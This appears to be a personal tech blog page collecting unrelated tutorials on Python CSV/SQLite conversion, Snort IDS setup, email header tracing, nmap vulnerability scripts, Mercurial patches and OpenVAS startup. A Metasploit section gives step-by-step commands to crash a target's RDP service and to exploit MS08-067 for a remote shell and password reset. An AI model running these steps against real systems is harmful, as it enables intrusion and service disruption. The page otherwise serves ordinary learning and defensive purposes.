Python script to convert JSON file into CSV file for easy uploading on MySQL database

This tutorial show how to use a python script that converts a JSON file data into a CSV file. And how to export CSV file data into Sqlite database using a python script.

The JSON file data is stored in the following format:

{"URL": "http://www.zoovision.com/apps-tv.html", "headerName": null, "Domain": "www.zoovision.com", "headerValue": null},
{"URL": "https://support.google.com/zagat/", "headerName": null, "Domain": "support.google.com", "headerValue": null},


Python Script File to convert a JSON file data into a CSV file: (json2csv.py)

import fileinput
import json
import csv
import sys

l = []
for line in fileinput.input():
    l.append(line)
myjson = json.loads(''.join(l))
keys = {}
for i in myjson:
    for k in i.keys():
        keys[k] = 1
mycsv = csv.DictWriter(sys.stdout, fieldnames=keys.keys(),
                       quoting=csv.QUOTE_MINIMAL)
mycsv.writeheader()
for row in myjson:
    mycsv.writerow(row)


$ python json2csv.py  fx23.json > out.csv

After executing above command, the output in the CSV file will be as follows:
http://www.zoovision.com/apps-tv.html,,www.zoovision.com,
https://support.google.com/zagat/,,support.google.com,

Now Suppose, You want to append a string at the end of each line. In other words, You want to add one more column to the CSV file, then following awk command can be used:

$ awk -F"," 'BEGIN { OFS = "," } {$4="Fx23,"; print}' out.csv  >  output.csv

It will produce output as follows:
http://www.zoovision.com/apps-tv.html,,www.zoovision.com,Fx23,
https://support.google.com/zagat/,,support.google.com,Fx23,


Python Script file to convert CSV file data into Sqlite Database: (csv2sqlite.py)

import csv, sqlite3
conn = sqlite3.connect("mydbrecord.sqlite")
curs = conn.cursor()
curs.execute("CREATE TABLE PCFC ( id INTEGER PRIMARY KEY, url TEXT, headerName TEXT, domain TEXT, headerValue TEXT, userAgent Text);")
counter = 1
reader = csv.reader(open('output.csv', 'r'), delimiter=',')
for row in reader:
    to_db = [counter, unicode(row[0], "utf8"), unicode(row[1], "utf8"), unicode(row[2], "utf8"), unicode(row[3], "utf8")]
    curs.execute("INSERT INTO PCFC (id, url, headerName, domain, headerValue) VALUES (?, ?, ?, ?, ?);", to_db)
    counter += 1
conn.commit()

Save above file and run following command to create a database.

$ python csv2sqlite.py

It will create a Sqlite database file with name mydbrecord.sqlite in the current working directory. 

Tutorial to Configure and Use Snort IDS on Windows XP

This tutorial explain steps to configure Snort on Widnows XP machine and how to use it for detection of attacks.


Steps:
1. Download Snort from "http://www.snort.org/" website.

2. Also download Rules from the same website. You need to sign up to get rules for registered users.
3. Click on the Snort_(version-number)_Installer.exe file to install it. By-default it will install snort in the "C:\Snort" directory.

4. Extract downloaded Rules file: snortrules-snapshot-(number).tar.gz

5. Copy all files from the "rules" directory of the extracted folder and paste them into "C:\Snort\rules" directory.

6. Copy "snort.conf" file from the "etc" directory of the extracted folder and paste it into "C:\Snort\etc" directory. Overwrite existing file if there is any.

7. Open command prompt (cmd.exe) and navigate to directory "C:\Snort\bin" directory.

8. To execute snort in sniffer mode use following command:
   snort -dev -i 2
   -i indicate interface number.
  -dev is used to run snort to capture packets.

  To check interface list use following command:
  snort   -W

9. To execute snort in IDS mode, we need to configure a file "snort.conf" according to our network environment.

10. Set up network address  we want to protect in snort.conf file. To do that look for "HOME_NET" and add your IP address.
   var HOME_NET 10.1.1.17/8

11. You can also set addresses or DNS_SERVERS, if you have any. otherwise go to the next step.

12. Change RULE_PATH variable with the path of rules directory.
    var RULE_PATH c:\snort\rules
13. Change the path of all libraries with the name and path on your system. or change path of snort_dynamicpreprocessor variable.
     sor file C:\Snort\lib\snort_dynamiccpreprocessor\sf_dcerpc.dll
    You need to do this to all library files in the "C:\Snort\lib" directory. The old path might be something like: "/usr/local/lib/...". you need to replace that path with you system path.

14. Change path of the "dynamicengine" variable value in the "snort.conf" file with the path of your system.  Such as:
  dynamicengine C:\Snort\lib\snort_dynamicengine\sf_engine.dll

15 Add complete path for "include classification.config" and "include reference.config" files.
   include c:\snort\etc\classification.config
   include c:\snort\etc\reference.config

16. Remove the comment on the line to allow ICMP rules, if it is alredy commented.
    include $RULE_PATH/icmp.rules

17. Similary, remove the comment of ICMP-info rules comment, if it is already commented.
    include $RULE_PATH/icmp-info.rules

18 To add log file to store alerts generated by snort, search for "output log" test and add following line:
   output alert_fast: snort-alerts.ids

19.  Comment whitelist $WHITE_LIST_PATH/white_list.rules and blacklist $BLACK_LIST_PATH/black_list.rules lines.  Also ensure that you add change the line above $WHITE_LIST_PATH
Change nested_ip inner , \  to nested_ip inner #, \

20. Comment following lines:
#preprocessor normalize_ip4
#preprocessor normalize_tcp: ips ecn stream
#preprocessor normalize_icmp4
#preprocessor normalize_ip6
#preprocessor normalize_icmp6

21. Save the "snort.conf" file and close it.

22. Go to the "C:\Snort\log" directory and create a file: snort-alerts.ids

23. To start snort in IDS mode, run following command:
     snort -c c:\snort\etc\snort.conf -l c:\snort\log -i 2 

   Above command will generate log file that will not be readable without using a tool. To read it use following command:
  C:\Snort\Bin\> snort -r ..\log\log-filename

To generate Log files in ASCII mode use following command while running snort in IDS mode:
     snort -A console -i2 -c c:\Snort\etc\snort.conf -l c:\Snort\log -K ascii

24. Scan the computer running snort from another computer using PING or launch attack. Then check snort-alerts.ids file the log folder.

You can also download my modified snort.conf file here. It works with Snort_2_9_5_Installer.exe

How to Find Email Address Source?

You might receive a lot of emails from your friends. In this tutorial we will learn how to verify that the email you received is actually from your friend and not a fake email. Attackers can easily send fake email using websites such as "emkei.cz".

Steps:
1. Select an email that you want to trace.
2. Get its full headers. For example in GMail you need to click "More" options button next to "reply" button and select "Show original" option.
3. Copy all headers from top till the To field.
4. Open either "http://whatismyipaddress.com/trace-email" and paste headers into the headers text-area.
5. Click on the "Get Source" button to get IP address of the source.
6. You can use WhoIs service (http://whois.net/) to get more information about IP address. Copy paste IP address found in the step 5 and Click on the "Go" button to get more information about the source of the IP address.

Nmap usage to perform Vulnerability Assesments

NSE Documentation Portal [http://nmap.org/nsedoc/] provides a detail guide on nmap scripts usage.

Using nmap Scripts we can perform vulnerability assessments. 

In this tutorial I will show a few examples of nmap scripts. 

1. "smb-check-vulns" script to check Windows RPC vulnerabilities. 
Checks for vulnerabilities:

• MS08-067, a Windows RPC vulnerability
• Conficker, an infection by the Conficker worm
• Unnamed regsvc DoS, a denial-of-service vulnerability I accidentally found in Windows 2000
• SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
• MS06-025, a Windows Ras RPC service vulnerability
• MS07-029, a Windows Dns Server RPC service vulnerability

Example:

$ nmap --script smb-check-vulns.nse -p445 <targetHostIP>

Or

$ sudo nmap  --script smb-check-vulns.nse --script-args=unsafe=1 -p445 <targetHostIP>

Output:

Host script results:| smb-check-vulns:
| MS08-067: NOT VULNERABLE| Conficker: Likely CLEAN| regsvc DoS: regsvc DoS: NOT VULNERABLE| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE| MS06-025: NO SERVICE (the Ras RPC service is inactive)|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

2. "nbstat" script to retrieve the target's NetBIOS names and MAC address.

By default, the script displays the name of the computer and the logged-in user; if the verbosity is turned up.

Example:

$ sudo nmap -sU --script nbstat.nse -p137 10.15.10.30

Output: 

Host script results:

| nbstat:  

|   NetBIOS name: IT-FS, NetBIOS user: <unknown>, NetBIOS MAC: 1c:6f:65:91:19:96

|   Names

|     IT-FS<00>            Flags: <unique><active>

|     IT-FS<20>            Flags: <unique><active>

|     IT-DEPT<00>          Flags: <group><active>

|     IT-DEPT<1c>          Flags: <group><active>

|     IT-DEPT<1e>          Flags: <group><active>

|     IT-DEPT<1d>          Flags: <unique><active>

|     \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>

|_    IT-DEPT<1b>          Flags: <unique><active>

3. "upnp-info" script to extract system information from the UPnP service.

Example:

$ nmap -sV -sC 10.15.10.30

Output:

Host script results:
|_nbstat: NetBIOS name: IT-FS, NetBIOS user: <unknown>, NetBIOS MAC: 1c:6f:65:91:19:96
| smb-os-discovery:  
|   OS: Windows Server 2003 3790 (Windows Server 2003 5.2)
|   Name: IT-DEPT\IT-FS
|_  System time: 2013-07-19 14:41:14 UTC+5.5
|_smbv2-enabled: Server doesn't support SMBv2 protocol

Creating a patch to checked-in for Mozilla

To create a patch that can be easily checked-in by others make following settings on your computer.

Create .hgrc file in HOME directory (such as "/home/username"), if its not already created. Add following code to it.

[ui]
username=yyyy@xxxxx.zzz

[defaults]
diff = -p -U 8
qdiff = -p -U 8
qnew = -U

[diff]
git=1
showfunc=1
unified=8

[extensions]
mq =


Save file and close it.

To generate a patch on HG (mercurial) repository:
$ hg diff  >  patchfilename

Discarding all local changes done in the HG (mercurial) repository:
$ hg revert -a


Use Mercurial Queuing extension to generate a patch for checked in:
# setup the patch queue directory (Deprecated in 1.5)
hg qinit

# create a new patch named firstpatch
hg qnew firstpatch

# edit some files
vi filename

# update the patch to contain your changes
hg qrefresh -m "Bug XXXXX - Testing message that goes with patch"

# vi .hg/patches/firstpatch to see the result
# print the current patch to the screen
hg qdiff

# make some more changes
vi filename

# see the differences not yet stored in the patch
hg diff

# update the patch
hg qrefresh

# Look at the patches you have applied
# Look at all the patches in the queue
hg qapplied
hg qseries

# remove the top patch
hg qpop

# apply the patch again
hg qpush

# remove all patches
hg qpop -a

# apply all patches
hg qpush -a

# Output all applied patches as a single patch
hg diff -r qparent:qtip

# update the commit message on a patch
hg qrefresh -m "New Message"

# Convert all applied patches into permanent changesets
hg qfinish -a

Patch to Upload on Bugzilla:
It is available in the following folder location:
/your_repository_folder/.hg/patches/

Or you can also use following command ot generate a patch to upload:
hg export qtip  > path_to_temp_patches/patchFileName.patch

Metasploit Usage for Exploitation

This tutorial is very general and I will continue updating it whenever I will find exploits and time to update this post.

1. If 3389/tcp  ms-term-serv is open then using metasploit you can cause remote machine to reboot or stop this service.

$ msfconsole 
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf  auxiliary(ms12_020_maxchannelids) > set RHOST target-IP-Address
msf  auxiliary(ms12_020_maxchannelids) > exploit

Now rescan target computer, you will find that the ms-term-serv service is disabled.

2. Hacking Windows XP SP2/SP3 and get administrator access of the system. (Following exploit attacks on port 445)

$msfconsole
msf> use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST target-IP-Address
msf exploit(ms08_067_netapi) > exploit
meterpreter > shell

C:\Windows\System32\> net user
C:\Windows\System32\>  net user  userName password

OpenVAS Statup script for Kali linux

Following simple commands are useful to start openVAS on Kali linux.

Create a file "script.sh" and copy paste following contents:

#!/bin/bash

## Script by PATIL Kailas
echo -e "Script to run openVAS by PATIL Kailas.\n"

##Setting up nvt sync
echo "Syncing NVT Database..."
openvas-nvt-sync

#echo "Updating SCAP Data Feed"
#openvas-scapdata-sync

#echo "Updating CERT Feed.."
#openvas-certdata-sync

## Starting Services

echo "Starting OpenVAS Services..."

/etc/init.d/./greenbone-security-assistant start

/etc/init.d/./openvas-scanner start

/etc/init.d/./openvas-administrator start

/etc/init.d/./openvas-manager start

echo -e "Services Started!\nPlease Login via the Web UI @ https://127.0.0.1:9392 and confirm the secuity exception. \nDefault Username is admin and the password is the one you created during setup.\n"

echo -e "Launching WebUI \n"

gnome-open https://127.0.0.1:9392


Save file and run it whenever you want to use openVAS.